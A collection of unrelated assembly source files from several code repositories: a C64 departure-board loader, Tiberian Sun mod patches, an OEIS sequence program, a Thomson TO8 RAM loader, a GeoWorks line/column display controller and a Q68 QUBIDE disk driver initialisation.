; ********************************************************************** ; Commodore C64 departure boards ; ********************************************************************** INCLUDE "../macros.asm" ; Our macros INCLUDE "../zeropage.asm" ; 3rd Zero page allocations INCLUDE "../c64/kernal.asm" ; Kernal constants INCLUDE "../teletext/teletext.inc" ; Teletext emulation INCLUDE "../network/network.inc" ; Network driver CPU 0 ; 6502 GUARD &A000 ; Guard to upper memory limit, valid only for generated code as we need to load ; before swapping out the Basic rom start = &0900 ; Base of application ORG start-2 ; Start 2 bytes earlier so we can inject the load address for the prg file format EQUW start ; Load address in prg file format LDX #&FF ; Reset the stack as we won't be returning from here TXS LDA #<memBase ; Setup PAGE STA page LDA #>memBase STA page+1 LDA #<memTop ; Setup HIGHMEM STA highmem LDA #>memTop STA highmem+1 JSR entryPoint ; call our true entry point JSR cleanup ; call our cleanup code JMP (&FFFC) ; exit the program by resetting the C64 INCLUDE "main.asm" ; The core application ; end - the end of the saved program .end ; Available memory for the received database. ; On the C64 this runs up to the end of the spare 4k block as we have ; paged the Basic rom out with ram ALIGN &100 .memBase ; First free block of memory EQUB 0 ; memTop is start of unusable memory. memTop = &BA00 ; Upper bound of all free memory ; Use old screen memory for buffers ;rs232OutputBuffer = &BE00 ; RS232 output buffer, must be page aligned ;rs232InputBuffer = &BF00 ; RS232 input buffer, must be page aligned ;outputBuffer = &0800 ; Output buffer ; Save the program, start-2 to include the start address &0801 SAVE "boards_c64.prg", start-2, end
37.728814
109
0.543127
5cb861509455a2216b4583c7e9717b75d4144908
6,970
asm
Assembly
src/mods/dta/dta_hacks.asm
mvdhout1992/ts-patches
a426970abeb6993eea6703d1a756fd74489ffed2
[ "MIT" ]
1
2020-06-06T17:38:26.000Z
2020-06-06T17:38:26.000Z
src/mods/dta/dta_hacks.asm
A-Productions/ts-patches
326db731f7226d9e803feab475777c730688634e
[ "MIT" ]
null
null
null
src/mods/dta/dta_hacks.asm
A-Productions/ts-patches
326db731f7226d9e803feab475777c730688634e
[ "MIT" ]
null
null
null
%include "macros/patch.inc" %include "macros/datatypes.inc" %include "TiberianSun.inc" sstring str_EnhanceINI, "ENHANCE.INI" sstring str_SoundsMIX, "SOUNDS.MIX" sstring str_DTALong, "Dawn of the Tiberium Age" sstring str_DTAGameWindow, "DTA (Game Window)" sstring str_LanguageDLLNotFound, "Language.dll not found, please start DTA.exe and click Save in the Options menu." sstring str_SettingsINI, "Settings.ini" sstring str_SoundsINI, "SOUNDS.INI" sstring str_ArtEINI, "ARTE.INI" sstring str_AIEINI, "AIE.INI" sstring str_CacheMIX, "CACHE.MIX" sstring str_Sounds01MIX, "SOUNDS01.MIX" sstring str_Isodes, "ISODES" sstring str_IsodesMIX, "ISODES.MIX" sstring str_SideMIX, "SIDE%02d.MIX" sstring str_SideCDMIX, "SIDECD%02d.MIX" sstring str_MenuINI, "MENU.INI" sstring str_BriefingPCX, "BRIEFING.PCX" sstring str_BattleEINI, "BATTLEE.INI" sstring str_SidencMIX, "SIDENC%02d.MIX" sstring str_SideMIXRoot, "SIDE%02dE.MIX" sstring str_MPMapsINI, "MPMAPS.INI" sstring str_MoviesMIX, "MOVIES.MIX" sstring str_DTAAlreadyRunning, "DTA is already running!" sstring str_D1, "D1" sstring str_D2, "D2" sstring str_DTA, "DTA" sstring str_DesINI, "DES" sstring str_IsotemMIX, "ISOTEM" sstring str_DesertMIX, "DESERT" sstring str_TemperatMIX, "TEMPERAT" sstring str_Des, "DES" sstring str_IsotemPAL, "ISOTEM.PAL" sstring str_IsodesPAL, "ISODES.PAL" sstring str_UnittemPAL, "UNITTEM.PAL" sstring str_UnitdesPAL, "UNITDES.PAL" sstring str_DesertPAL, "DESERT.PAL" sstring str_TemperatPAL, "TEMPERAT.PAL" @SET 0x006CA930, {db "DESERT",0,0,0,0} @SET 0x006CA940, {db "DES",0,0,0} @SET 0x006CA94A, {db "ISODES",0} @SET 0x006CA954, {db "DES",0} @SET 0x006CA958, {db "TEMPERATE", 0,0,0,0} @SET 0x006CA968, {db "TEM", 0,0,0} @SET 0x006CA972, {db "ISOTEM", 0} @SET 0x006CA97C, {db "TEM", 0} ; String references @SET 0x00407081, push str_EnhanceINI ; push offset str_EnhanceINI? @SET 0x0044EBF3, push str_SoundsMIX @SET 0x00472567, push str_DTALong @SET 0x0047256C, push str_LanguageDLLNotFound @SET 0x004E0605, push str_SettingsINI @SET 0x004E0912, push str_SoundsINI @SET 0x004E0919, push str_SoundsINI @SET 0x004E1196, push str_ArtEINI @SET 0x004E11E6, push str_EnhanceINI @SET 0x004E1547, push str_AIEINI @SET 0x004E4078, push str_CacheMIX @SET 0x004E430F, push str_SoundsMIX ; Sounds01.MIX? @SET 0x004E4360, push str_SoundsMIX ; Sounds01.MIX? @SET 0x004E439C, push str_SoundsMIX @SET 0x004E43ED, push str_SoundsMIX @SET 0x004E80D8, push str_SideMIX @SET 0x004E838C, push esi @SET 0x004E8391, push str_SideCDMIX ; Search for SideCD##.mix instead of E01SC##.mix @SET 0x005801BB, push str_MenuINI @SET 0x0058A146, push str_SettingsINI @SET 0x005C04AF, {mov ecx, str_BriefingPCX} @SET 0x005C649C, push str_ArtEINI @SET 0x005D1B26, push str_ArtEINI @SET 0x005D6D45, push str_ArtEINI @SET 0x005ED7F3, push str_SettingsINI @SET 0x005EE47B, push str_SettingsINI @SET 0x005FF2C0, {cmp edx, str_DTALong} @SET 0x005FF2C8, push str_DTALong @SET 0x005FF2D9, push str_DTALong @SET 0x005FF3AA, {cmp ecx, str_DTALong} @SET 0x005FF3B2, push str_DTALong @SET 0x005FF3C3, push str_DTALong @SET 0x005FF4EC, push str_DTALong @SET 0x00601093, push str_SettingsINI @SET 0x005EE8B0, push str_MPMapsINI @SET 0x005EEB82, push str_MPMapsINI @SET 0x0044ECC5, push str_MoviesMIX @SET 0x004E4543, push str_MoviesMIX @SET 0x004E0DD8, push str_BattleEINI @SET 0x006861ED, {mov dword [esp+48h], str_DTALong} ; dword ptr @SET 0x00686215, push str_DTALong @SET 0x0068621A, push str_DTALong @SET 0x006862BD, push str_DTALong @SET 0x006862C2, push str_DTALong @SET 0x00687E07, push str_SettingsINI ; Palette renames ; UNITSNO.PAL -> UNITTEM.PAL @SET 0x004DFD65, {mov ecx, str_UnittemPAL} @SET 0x004E015C, {mov ecx, str_UnittemPAL} @SET 0x004E7D83, {mov ecx, str_UnittemPAL} ; UNITTEM.PAL -> UNITDES.PAL @SET 0x004E7D8A, {mov ecx, str_UnitdesPAL} ; TEMPERAT.PAL -> DESERT.PAL @SET 0x004DFDDF, {mov ecx, str_DesertPAL} ; Set default tech level to 7 @SET 0x006FB628, dd 7 ; ;; Trackbar Border Color change @SET 0x0059138B, {db 0xA0, 0xA7, 0xA0} ;; Hack to make tiberium get affected by lighting (at the cost of remappability) @NJNB 0x004557FF, 0x004559AE ;jnb loc_4559AE ; ;; Don't add random extra cash to the money crate value specified in Rules.ini @CLEAR 0x0045839D, 0x90, 0x004583A3 @SET 0x0045839D, {lea edx, [eax]} ; ; Disable check for MoviesXX.mix, forces function to return al=1 @SET 0x004E45D8, {mov al, 1} @SET 0x004E45DA, nop ; Included in no_movie_and_score_mix_dependency.asm ; Remove framework mode mmt/mms loading @LJMP 0x004F5182, 0x004F528C ; jmp loc_4F528C ; ; TechLevel slider limit @SET 0x0055AF05, push 70001h @SET 0x0055E110, push 70001h ;; "Some change in code calling to SendDlgItemMessageA" - techlevel slider limit?? @SET 0x0057C932, push 70001h ; ;; Sidebar text off by default @SET 0x00589972, {mov [eax+19h], cl} @SET 0x00589975, {mov [eax+1Ah], cl} ; ;; IsScoreShuffle on by default @SET 0x005899F1, {mov byte [eax+35h], 1} ;byte ptr @SET 0x005899F5, nop @SET 0x005899F6, nop @SET 0x005899F7, nop ; ;; Disable dialog "slide-open" sound effect @SJMP 0x00593DBF, 0x00593DF9 ; jmp short loc_593DF9 ; ;; Remove glowing edges from dialogs @SET 0x0059D410, retn 0Ch ;; Skip useless debug logging code ; *******BREAKS THE SPAWNER ;; @SET 0x005FF81C, jmp 0x005FFC41 ; "Overlay tiberium fix thing, 4th etc" @SET 0x00644DF9, {mov dword [esi+0ACh], 0Ch} ;dword ptr ; ;; "Facings stuff" @SET 0x006530EB, {cmp dword [eax+4CCh], 20h} ;dword ptr @SET 0x00653106, {shr ebx, 0Ah} @SET 0x0065310D, {and ebx, 1Fh} ;; IsCoreDefender selection box size @SET 0x0065BD7E, {mov edx, 200h} @SET 0x0065BD94, {mov dword [edi+8], 64h} ;dword ptr @SET 0x0065BD9B, nop @SET 0x0065BD9C, nop ; ;; Rules.ini key, WalkFrames= default value @SET 0x0065B9E6, {mov byte [esi+4D0h], 1} ;byte ptr @SET 0x0065BF3D, {mov [esi+21h], eax} ; Set global variable byte containing side ID to load files for @SET 0x004E2CFA, {mov byte [0x7E2500], al} @SET 0x004E2CFF, nop @SET 0x004E2D00, {add esp, 4} @SJMP 0x004E2D03, 0x004E2D13 ; jmp short @SET 0x004E2D05, nop ; Load sidebar MIX files for new sides properly (for saved games) @SET 0x005D6C4F, {mov cl, [eax+1D91h]} @CLEAR 0x005D6C55, 0x90, 0x005D6C58 ; Load speech MIX files for new sides properly (for saved games) @SJMP 0x005D6DB8, 0x005D6DCE ;jmp short @SET 0x005D6DCE, {xor ecx, ecx} @SET 0x005D6DD0, {mov cl, [eax+1D91h]} @CLEAR 0x005D6DD6, 0x90, 0x005D6DDB ; Load sidebar MIX files for new sides properly @SET 0x005DD798, {mov cl, byte [0x007E2500]} @CLEAR 0x005DD79E, 0x90, 0x005DD7A2 ; Load speech MIX files for new sides properly @SET 0x005DD822, {xor ecx, ecx} @CLEAR 0x005DD822, 0x90, 0x005DD828 @SET 0x005DD82B, {mov cl, byte [0x007E2500]} ; Compile warning: byte value exceeds bounds? ; AI starting units will start in Unload mode instead of Area Guard mode (was 05 for Guard mode) @SET 0x005DEE36, push 0Fh ; Prevent more than 75 cameos from appearing in a sidebar column and thus crashing the game ;; @SJGE 0x005F463B, 0x005F46A1 ;jge short loc_5F46A1
33.509615
115
0.767001
000d79c44aea42dd54677ed8d85d8658b8c63e6d
889
asm
Assembly
programs/oeis/241/A241946.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/241/A241946.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/241/A241946.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A241946: Numbers n equal to the sum of all the four-digit numbers formed without repetition from the digits of n. ; 1001,1111,1221,1331,1441,1551,1661,1771,1881,1991,2002,2112,2222,2332,2442,2552,2662,2772,2882,2992,3003,3113,3223,3333,3443,3553,3663,3773,3883,3993,4004,4114,4224,4334,4444,4554,4664,4774,4884,4994,5005,5115,5225 mov $11,$0 mov $13,$0 add $13,1 lpb $13 mov $0,$11 sub $13,1 sub $0,$13 mov $7,$0 mov $9,2 lpb $9 clr $0,7 mov $0,$7 sub $9,1 add $0,$9 sub $0,1 mov $3,$0 add $5,3 cal $0,38124 ; Beatty sequence for Brun's constant. add $3,$0 mul $3,2 add $3,8 mul $5,2 add $5,$3 add $5,8 mov $1,$5 mov $10,$9 lpb $10 mov $8,$1 sub $10,1 lpe lpe lpb $7 mov $7,0 sub $8,$1 lpe mov $1,$8 sub $1,4 div $1,2 mul $1,99 add $1,11 add $12,$1 lpe mov $1,$12
18.914894
216
0.578178
e1f99367e71b0506f89db9bdd5ce807d26a7af19
3,569
asm
Assembly
Engine/Ram/RAMLoaderManagerT2.asm
wide-dot/thomson-to8-game-engine
f305368ff28fba6e6bd03d0138a36ff5ea67e925
[ "Apache-2.0" ]
11
2021-09-07T18:45:06.000Z
2022-02-15T06:36:19.000Z
Engine/Ram/RAMLoaderManagerT2.asm
dougmasten/thomson-to8-game-engine
b1f29e3b650e2296a5058570173e1c9068bccbe4
[ "Apache-2.0" ]
null
null
null
Engine/Ram/RAMLoaderManagerT2.asm
dougmasten/thomson-to8-game-engine
b1f29e3b650e2296a5058570173e1c9068bccbe4
[ "Apache-2.0" ]
1
2021-11-22T08:43:52.000Z
2021-11-22T08:43:52.000Z
******************************************************************************** * Gestionnaire de chargement du RAM Loader (TO8 Thomson) - Benoit Rousseau 26/04/2021 * ------------------------------------------------------------------------------ * * Copie en page 0 le programme de chargement de RAM, ainsi que les index * des donnees du niveau de jeu a charger * * input REG : [a] Game Mode to load * [b] Current Game Mode * ******************************************************************************** INCLUDE "RAMLoaderT2.glb" RAMLoaderManager * Copie en page 0a des donnees du mode a charger * les groupes de 6 octets sont recopiees a l'envers * la fin des donnees est marquee par un octet negatif ($FF par exemple) ************************************************************ ldu #Gm_Index aslb ldx b,u ; load address of current game mode data asla ldu a,u ; load address of new game mode data lds -2,u ; load destination address tstb bmi RLM_SetPage ; negative value means first load so nothing to compare RLM_SkipCommon ldd ,u cmpd ,x bne RLM_SetPage ldd 2,u cmpd 2,x bne RLM_SetPage ldd 4,u cmpd 4,x bne RLM_SetPage leas -6,s ; adjust destination address leau 6,u ; adjust new Game Mode source address leax 6,x ; adjust current Game Mode source address bra RLM_SkipCommon * Positionnement de la page 0a en zone 4000-5FFF *********************************************************** RLM_SetPage ldb $E7C3 ; charge l'id de la demi-Page 0 en espace ecran andb #$FE ; positionne bit0=0 pour page 0 RAMA stb $E7C3 ; dans l'espace ecran lda #$FF ; ecriture balise de fin pshs a ; pour GameModeEngine RLM_CopyData pulu d,x,y ; on lit 6 octets pshs d,x,y ; on ecrit 6 octets tsta ; balise de fin dans REG A bpl RLM_CopyData ; non => boucle leas 6,s ; on remote de 6 car le dernier bloc est une balise de fin * Copie en page 0a du code Game Mode Engine * les groupes de 7 octets sont recopiees a l'envers, le builder va inverser * les donnees a l'avance on gagne un leas dans la boucle. ************************************************************ ldu #RAMLoaderBin ; source RLM_CopyCode pulu d,x,y,dp ; on lit 7 octets pshs d,x,y,dp ; on ecrit 7 octets cmps #$4000 ; fin ? bne RLM_CopyCode ; non => boucle * Execution du Game Mode Engine en page 0a ************************************************************ lds #glb_system_stack ; positionnement pile systeme jmp RAMLoader * ============================================================================== * RAMLoader * ============================================================================== RAMLoaderBin INCLUDEBIN "RAMLoaderT2.bin" INCLUDE "BuilderFileIndexT2.asm"
42.488095
97
0.421126
80a7003d6acf46a8c405f7992a60a3cac98b6d4e
428
asm
Assembly
programs/oeis/116/A116572.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/116/A116572.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/116/A116572.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A116572: a(n) = floor(prime(n)/5) for n > 2, a(1) = a(2) = 1. ; 1,1,1,1,2,2,3,3,4,5,6,7,8,8,9,10,11,12,13,14,14,15,16,17,19,20,20,21,21,22,25,26,27,27,29,30,31,32,33,34,35,36,38,38,39,39,42,44,45,45,46,47,48,50,51,52,53,54,55,56,56,58,61,62,62,63,66,67,69,69,70,71,73,74,75,76,77,79,80,81,83,84,86,86,87,88,89,91,92,92,93,95,97,98,99,100,101,104,104,108 max $0,2 seq $0,6005 ; The odd prime numbers together with 1. div $0,5
61.142857
291
0.630841
3644487ebffd39688975c74578257095fc6e1e58
9,278
asm
Assembly
Appl/Bindery/UI/uiRowColumn.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Appl/Bindery/UI/uiRowColumn.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Appl/Bindery/UI/uiRowColumn.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1993 -- All Rights Reserved PROJECT: PCGEOS/J -- pizza MODULE: Studio/J FILE: uiRowColumn.asm AUTHOR: Brian Witt, Sep 7, 1993 ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- witt 9/ 7/93 Initial revision DESCRIPTION: This file contains the backing code for the line/column position controller. This controller is read-only, and only exists in a toolbox/toolbar form. The GenValue objects for line and columnn can only display values up to 32,767. If larger values are needed, then might be changed into GenText and UtilHex32ToAscii convert of value into them. $Id: uiRowColumn.asm,v 1.1 97/04/04 14:40:03 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ UseLib Objects/gValueC.def ;------------------------------------------------------------------------- ; Variables ;------------------------------------------------------------------------- ForceRef RowColumnName ; (UI) picked up by client user. idata segment RowColumnDisplayControlClass idata ends ;------------------------------------------------------------------------- ; Startup Code for RowColumnDisplayControl ;------------------------------------------------------------------------- ControlCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% RowColGetInfo %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Answers the generic portion of the controller's code for mode information about the specific controller that we are. Copies local data structure into buffer provided by caller. CALLED BY: MSG_GEN_CONTROL_GET_INFO PASS: *ds:si = RowColumnDisplayControlClass object ds:di = RowColumnDisplayControlClass instance data es = segment of RowColumnDisplayControlClass cx:dx = GenControlBuildInfo struct to be filled in. RETURN: cx:dx = (filled in) DESTROYED: ax, si, di, ds, es SIDE EFFECTS: PSEUDO CODE/STRATEGY: (Based on code from Library/Text/UI/uiLineSpacing.asm) (Code is basically 'CopyDupInfoCommon') Code choosen to be fast. REVISION HISTORY: Name Date Description ---- ---- ----------- witt 9/ 7/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ RowColGetInfo method dynamic RowColumnDisplayControlClass, MSG_GEN_CONTROL_GET_INFO .enter mov si, offset RCD_dupInfo segmov ds, cs, ax ; ds:si = source (local) mov es, cx mov di, dx ; es:si = dest (caller space) mov cx, size GenControlBuildInfo rep movsb .leave ret RowColGetInfo endm RCD_dupInfo GenControlBuildInfo < 0, ; GCBI_flags RCD_IniFileKey, ; _initFileKey RCD_gcnList, ; _gcnList length RCD_gcnList, ; _gcnCount RCD_notificationList, ; _notificationList length RCD_notificationList, ; _notificationCount RCDName, ; _controlName 0, ; _dupBlock 0, ; _childList 0, ; _childCount 0, ; _featuresList 0, ; _featuresCount RCD_DEFAULT_FEATURES, ; _features handle RowColumnControlToolboxUI, ; _toolBlock RCD_toolList, ; _toolList length RCD_toolList, ; _toolCount RCD_toolFeaturesList, ; _toolFeaturesList length RCD_toolFeaturesList, ; _toolFeaturesCount RCD_DEFAULT_TOOLBOX_FEATURES, ; _toolFeatures 0 > ; GCBI_helpContext RCD_IniFileKey char "lineColDisp", C_NULL RCD_gcnList GCNListType \ <MANUFACTURER_ID_GEOWORKS,GAGCNLT_APP_TARGET_NOTIFY_PAGE_STATE_CHANGE>, <MANUFACTURER_ID_GEOWORKS,GAGCNLT_APP_TARGET_NOTIFY_CURSOR_POSITION_CHANGE> RCD_notificationList NotificationType \ <MANUFACTURER_ID_GEOWORKS,GWNT_PAGE_STATE_CHANGE>, <MANUFACTURER_ID_GEOWORKS,GWNT_CURSOR_POSITION_CHANGE> ; - - - - - RCD_toolList GenControlChildInfo \ <offset LineValue, mask RCDTF_LINE, mask GCCF_IS_DIRECTLY_A_FEATURE>, <offset ColumnValue, mask RCDTF_COLUMN, mask GCCF_IS_DIRECTLY_A_FEATURE>, <offset PageValue, mask RCDTF_PAGE, mask GCCF_IS_DIRECTLY_A_FEATURE>, <offset ArticleValue, mask RCDTF_ARTICLE, mask GCCF_IS_DIRECTLY_A_FEATURE> ; Watch out, these are *reverse* order of features record! ; The assembler allocates bits in a record from high bit to low.. RCD_toolFeaturesList GenControlFeaturesInfo \ <offset ArticleValue, ArticlePositionName, 0>, <offset PageValue, PagePositionName, 0>, <offset ColumnValue, ColumnPositionName, 0>, <offset LineValue, RowPositionName, 0> ControlCode ends CommonCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% RowColUpdateUI %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Handles notice of attributes' change. The result of a GCN we're listening to has been sent here. CALLED BY: MSG_GEN_CONTROL_UPDATE_UI PASS: *ds:si = RowColumnDisplayControlClass object ds:di = RowColumnDisplayControlClass instance data es = segment of RowColumnDisplayControlClass ss:bp = GenControlUpdateUIParams structure ptr RETURN: nothing DESTROYED: bx, si, di, es SIDE EFFECTS: updates the on-screen UI. PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- witt 9/ 9/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ RowColUpdateUI method dynamic RowColumnDisplayControlClass, MSG_GEN_CONTROL_UPDATE_UI .enter assume es:nothing ; Get notification data and type: ; mov bx, ss:[bp].GCUUIP_dataBlock call MemLock mov es, ax push bx ; save for later MemUnlock() mov cx, ss:[bp].GCUUIP_changeType ; --------------------------------- ; Registers ; ; bx = data block handle, cx = change type, ss:bp = GCUUIP ptr ; ; ds:si = *object, ds:di = instance data, es:0 = notify block ; ; ;firstTry: cmp cx, GWNT_PAGE_STATE_CHANGE jne tryLineNumber ; Turning to a new page. ; type: NotifyPageStateChange ; mov ax, es:[NPSC_currentPage] call UpdatePageValue jmp updateDone ; --------------------------------- tryLineNumber: EC< cmp cx, GWNT_CURSOR_POSITION_CHANGE > EC< jne updateDone > ; Insertation point moved to a new line. Line/Row are dwords. ; type: VisTextCursorPositionChange ; mov ax, es:[VTCPC_lineNumber].low inc ax ; values are 0 based, make 1 based for human. call UpdateLineValue mov ax, es:[VTCPC_rowNumber].low inc ax call UpdateColumnValue ; fall thru.. updateDone: pop bx call MemUnlock ; unlock the notify data .leave ret RowColUpdateUI endm CommonCode ends CommonCode segment resource ;------------------------------------------------------------------------- ; Utility routines for RowColumnDisplayControlClass ;------------------------------------------------------------------------- COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% UpdatePageValue UpdateLineValue UpdateColumnValue %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: If the UI feature is enabled, then update the integer GenValue. CALLED BY: RowColUpdateUI PASS: ax = current page number ds:si = *instance of controller. ss:bp = GenControlUpdateUIParams RETURN: nothing DESTROYED: ax, dx SIDE EFFECTS: Schedules an update of GenValue UI (queued event). Setting a value greater than 32,767 will display a negative. PSEUDO CODE/STRATEGY: get UI object offset. if feature is used, then get handle of actual UI. send message to update integer value when next convient. return. REVISION HISTORY: Name Date Description ---- ---- ----------- witt 9/ 9/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ UpdatePageValue proc near mov dx, offset PageValue mov cx, mask RCDTF_PAGE GOTO RCDUpdateValueCommon UpdatePageValue endp UpdateLineValue proc near mov dx, offset LineValue mov cx, mask RCDTF_LINE GOTO RCDUpdateValueCommon UpdateLineValue endp UpdateColumnValue proc near mov dx, offset ColumnValue mov cx, mask RCDTF_COLUMN FALL_THRU RCDUpdateValueCommon UpdateColumnValue endp ; --------------------------------- ; ; PASS: ax = integer value to store. ; cx = feature mask ; dx = offset of GenValue to set value into. ; ds:si = *controller instance ; ss:bp = GenControlUpdateUIParams ; RETURNS: nothing ; DESTORYS: ax, bx ; RCDUpdateValueCommon proc near uses cx,si,di,bp .enter test ss:[bp].GCUUIP_toolboxFeatures, cx jz done ; feature unused, skip. mov bx, ss:[bp].GCUUIP_toolBlock mov si, dx ; ^lbx:si <- OD of GenValue. mov cx, ax ; cx <- value to set. clr bp ; bp <- not indeterminate. mov ax, MSG_GEN_VALUE_SET_INTEGER_VALUE clr di call ObjMessage ; update when next possible done: .leave ret RCDUpdateValueCommon endp CommonCode ends ; ((eof))
26.737752
79
0.607459
3201509ed78a00d17bf3da98bf144ced5d6b7a51
5,720
asm
Assembly
dv3/q68/qub/init.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
dv3/q68/qub/init.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
dv3/q68/qub/init.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
; DV3 Q68 QUBIDE Driver initialisation 1.00  W. Lenerz 2016 ; ; based on ; ; DV3 Q40 IDE Initialisation V3.00  1992 Tony Tebby section dv3 xdef qub_init ; inits the driver xdef ppr xref dv3_link xref dv3_acdef xref gu_fopen xref gu_fclos xref norm_nm xref.l qub_vers include 'dev8_dv3_keys' include 'dev8_dv3_hd_keys' include 'dev8_dv3_mac' include 'dev8_mac_assert' include 'dev8_mac_basic' include 'dev8_mac_proc' include 'dev8_keys_qlv' include 'dev8_keys_err' include 'dev8_keys_q68' include 'dev8_mac_MultiConfig02' ;+++ ; DV3 Q68 Qubide driver initialisation ; ; a3 r device driver linkage ;--- qub.rev equ '1' qub_init lea qcf_qubl,a1 tst.b (a1) ; load driver at all? beq.s qub_out ; no lea qub_proctab,a1 move.w sb.inipr,a2 jsr (a2) ; link in procedures lea qub_table,a3 jsr dv3_link ; link in driver qub_set lea qcf_qubu,a2 lea hdl_unit(a3),a1 move.l (a2)+,(a1)+ move.l (a2)+,(a1)+ ; set configured units (cards) lea q68_wn1+2,a0 ; point first smsqe name move.l a0,d5 lea qub_drvs,a1 ; point space for normalized names move.l a1,d6 moveq #7,d7 move.l a1,hdl_targ(a3) ; point to where I can find it later norm_lp bsr norm_nm ; normalize name at (a0) to (a1) moveq #16,d3 add.l d3,d5 move.l d5,a0 add.l d3,d6 move.l d6,a1 dbf d7,norm_lp ; addq.w #8,a1 ; move.l (a2)+,(a1)+ ; set configured partitions ; move.l (a2)+,(a1)+ qub_out rts qub_table link_table QUB, qub.rev, hdl_end, ddf_dtop buffered sectl 512 mtype ddl.hd msect 255 density ddf.dd poll hd_poll_check check hd_check direct hd_direct rsect hd_rdirect wsect hd_wdirect slbfill hd_slbfill slbupd hd_slbupd dflush hd_dflush fflush hd_fflush ;;; fslave hd_fslave ;; mformat hd_mformat status hd_fstatus done hd_done thing qub_tname,qub_thing preset_b hdl_apnd-1, 0,hdl.apnd preset_b hdl_maxd, hdl.maxd, 0 preset_w hdl_paus,30 preset_v hdl_rsint,hd_rsint preset_v hdl_wsint,hd_wsint preset_v hdl_ckrdy,hd_ckrdy preset_v hdl_ckwp,hd_ckwp preset_v hdl_lock,hd_lock preset_v hdl_unlock,hd_unlock preset_v hdl_ststp,hd_ststp link_end hdl_buff ; the basic interface to the thing proc_thg {QUB Control} fun40_thg {QUB Control} QUB_use proc {USE } QUB_drive proc {DRIV} QUB_wp proc {WPRT} QUB_drive$ fun40 {DRV$} qub_proctab proc_stt proc_ref QUB_USE proc_ref QUB_DRIVE proc_ref QUB_WP proc_end proc_stt proc_ref QUB_DRIVE$ proc_end ; configuration info section config ; name of the qubide files on the SDHC cards. The names are spaced by 16 bytes q68_wn1 dc.w 13,10 dc.w 'QL_BDI.BIN',0 q68_wn2 dc.w 13,10 dc.w 'QL_BDI.BIN',0 q68_wn3 dc.w 13,11 dc.w 'QL_BDI3.BIN' q68_wn4 dc.w 13,11 dc.w 'QL_BDI4.BIN' q68_wn5 dc.w 13,11 dc.w 'QL_BDI5.BIN' q68_wn6 dc.w 13,11 dc.w 'QL_BDI6.BIN' q68_wn7 dc.w 13,11 dc.w 'QL_BDI7.BIN' q68_wn8 dc.w 13,11 dc.w 'QL_BDI8.BIN' ; these two data areas must be right one after the other. ; now follows a table of 8*16 bytes, for the normalized names of the drives qub_drvs dc.l 0,0,0,0 dc.l 0,0,0,0 dc.l 0,0,0,0 dc.l 0,0,0,0 dc.l 0,0,0,0 dc.l 0,0,0,0 dc.l 0,0,0,0 dc.l 0,0,0,0 qcf_qubu dc.b 0,q68.coff,-1,-1,-1,-1,-1,-1 ; the card the file is on ;;qcf_qubp dc.b 0,0,0,0,0,0,0,0 ; qubide partition qcf_qubl dc.b 1 mkcfstart mkcfhead {QUB drives settings},{qub_vers} noyes mkcfitem 'q689',code,'L',qcf_qubl,,,\ {Link in QUB driver?} \ 